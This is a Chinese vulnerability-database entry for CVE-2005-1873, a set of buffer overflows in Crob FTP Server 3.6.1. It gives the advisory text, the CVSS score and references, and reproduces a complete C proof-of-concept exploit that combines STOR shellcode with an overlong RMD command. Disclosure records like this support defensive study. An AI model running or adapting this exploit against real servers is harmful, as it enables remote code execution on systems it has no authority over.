CVE-2005-1873
CVSS7.5
发布时间 :2005-06-09 00:00:00
修订时间 :2008-09-10 15:40:32
NMCOE    

[原文]Multiple buffer overflows in Crob FTP 3.6.1, and possibly earlier versions, allow remote attackers to execute arbitrary code via (1) an FTP command with a large string followed by the RMD command with a long string or (2) a globbing ("*") character followed by a long string.


[CNNVD]Crob FTP 多个缓冲区溢出漏洞(CNNVD-200506-073)

        Crob FTP 3.6.1,可能还包括早期版本中存在多个缓冲区溢出漏洞,远程攻击者可通过:(1) 带有长字符串的FTP指令后跟随带有长字符串的RMD指令,或(2)通配符 ("*")后跟随一个长字符串来执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1873
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-1873
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200506-073
(官方数据源) CNNVD

- 其它链接及资源

http://lists.grok.org.uk/pipermail/full-disclosure/2005-June/034426.html
(UNKNOWN)  FULLDISC  20050606 Crob FTP Server remote buffer overflows
http://security.lss.hr/index.php?page=details&ID=LSS-2005-06-06
(UNKNOWN)  MISC  http://security.lss.hr/index.php?page=details&ID=LSS-2005-06-06
http://secunia.com/advisories/15585
(UNKNOWN)  SECUNIA  15585

- 漏洞信息

Crob FTP 多个缓冲区溢出漏洞
高危 缓冲区溢出
2005-06-09 00:00:00 2005-10-20 00:00:00
远程  
        Crob FTP 3.6.1,可能还包括早期版本中存在多个缓冲区溢出漏洞,远程攻击者可通过:(1) 带有长字符串的FTP指令后跟随带有长字符串的RMD指令,或(2)通配符 ("*")后跟随一个长字符串来执行任意代码。

- 公告与补丁

        

- 漏洞信息 (1028)

Crob FTP Server <= 3.6.1 Remote Stack Overflow Exploit (EDBID:1028)
windows remote
2005-06-03 Verified
0 Leon Juranic
N/A [点击下载]
/*
 * CrobFTP remote stack overflow PoC 
 * ---------------------------------
 * Tested on Crob FTP Server 3.6.1, Windows XP
 * 
 * Coded by Leon Juranic <ljuranic@lss.hr>
 * LSS Security / http://security.lss.hr
 *
 */



#include <stdio.h>
#include <windows.h>
#include <time.h>

#pragma comment (lib,"ws2_32")


char *fzz_recv (int sock)
{
	fd_set fds;
	struct timeval tv;
	static char buf[10000];
	char *ptr=buf;
	int n;
	tv.tv_sec = 5;
	tv.tv_usec = 0;

	FD_ZERO(&fds);
	FD_SET(sock,&fds);
	if (select(NULL,&fds,NULL,NULL,&tv) != 0) {
		if (FD_ISSET (sock,&fds)) n=recv (sock,ptr,sizeof(buf),0);
		buf[n-1] = '\0';
		printf ("RECV: %s\n",buf);
		return buf;
	}
	else {
		return NULL;
	}
	
}
	



int login (int sock, char *user, char *pass)
{
	char buf[1024], *bla;
	bla=fzz_recv(sock);
	printf ("recv: %s\n",bla);
	sprintf (buf,"USER %s\r\n",user);
	send (sock,buf,strlen(buf),0);
	bla=fzz_recv(sock);
	printf ("recv: %s\n",bla);
	sprintf (buf,"PASS %s\r\n",pass);
	send (sock,buf,strlen(buf),0);
	bla=fzz_recv(sock);
	printf ("recv: %s\n",bla);
	if (strcmp("230",bla) != NULL)
		return 0;
	else return -1;
	return 0;
}




void lame_sploit (char *pack, char *user, char *pass)
{
	WORD wVersionRequested;
	WSADATA wsaData;
	int sock, err,x;
	struct sockaddr_in sin;
	char buf[2000],tmp[1000];
	

	char *shell=				// 5 min. XP SP1 shellcode
		"\x33\xc0"				// xor eax,eax
		"\x50"					// push eax (\0)
		"\x68\x2e\x65\x78\x65"  // push '.exe'
		"\x68\x63\x61\x6c\x63"  // push 'calc'
		"\x54"					// push esp
		"\xba\x44\x80\xc2\x77"  // mov  edx, 77c28044
		"\xff\xd2";				// call edx  (system)


	wVersionRequested = MAKEWORD( 2, 2 );
	err = WSAStartup( wVersionRequested, &wsaData );
	if ( err != 0 ) {
		printf ("ERROR: Sorry, cannot create socket!!!\n");
		ExitProcess(-1);
	}

	sock=socket(AF_INET,SOCK_STREAM,0);
	

	sin.sin_family=AF_INET;
	sin.sin_addr.s_addr = inet_addr(pack);
	sin.sin_port = htons(21);
	
	if (connect(sock,(struct sockaddr*)&sin, sizeof(struct sockaddr)) == -1) {
		printf ("CONNECT :(((\n");
		ExitProcess(-1);
	}

	if (login(sock,user,pass) == -1)
	{
		printf ("ERROR: Cannot login to FTP server, sorry!!!\n");
		exit(-1);
	}
	
	memset(tmp,0,sizeof(tmp));
	memset (tmp,0x90,180);


	memcpy (&tmp[80],shell,strlen(shell));
	*(long*)&tmp[158] = 0x77da52b8; // EIP -> ret into 'jmp esp'
	*(long*)&tmp[166] = 0x74ec8390; //		  sub esp,0x74
	*(long*)&tmp[170] = 0x9090e4ff; //		  jmp esp


	_snprintf (buf,sizeof(buf),"STOR %s\r\n", tmp);

	printf ("DEBUG: %.30s %d\n",buf,strlen(buf));
	send (sock,buf,strlen(buf),0);
	printf ("%s\n",fzz_recv(sock));

	strcpy(buf,"RMD ");
	for (x=0;x<276;x++)
		strcat (buf,".../");
	strcat(buf,"\r\n");

	printf ("Sending exploit strings\n");
	send (sock,buf,strlen(buf),0);
	printf ("recv: %s\n",fzz_recv(sock));


}



main (int argc, char **argv)
{
	printf ("CrobFTP Stack overflow PoC \n"
		    "Coded by Leon Juranic <ljuranic@lss.hr>\n"
			"LSS Security / http://security.lss.hr/\n");

	if (argc < 4 ) {
		printf ("\nusage: %s <target_IP> <user> <pass>\n",argv[0]);
		exit(-1);
	}
	lame_sploit(argv[1],argv[2],argv[3]);

}

// milw0rm.com [2005-06-03]
		

- 漏洞信息

17054
Crob FTP Server RMD Command Handling Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Solution Unknown
Exploit Public

- 漏洞描述

- 时间线

2005-06-01 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站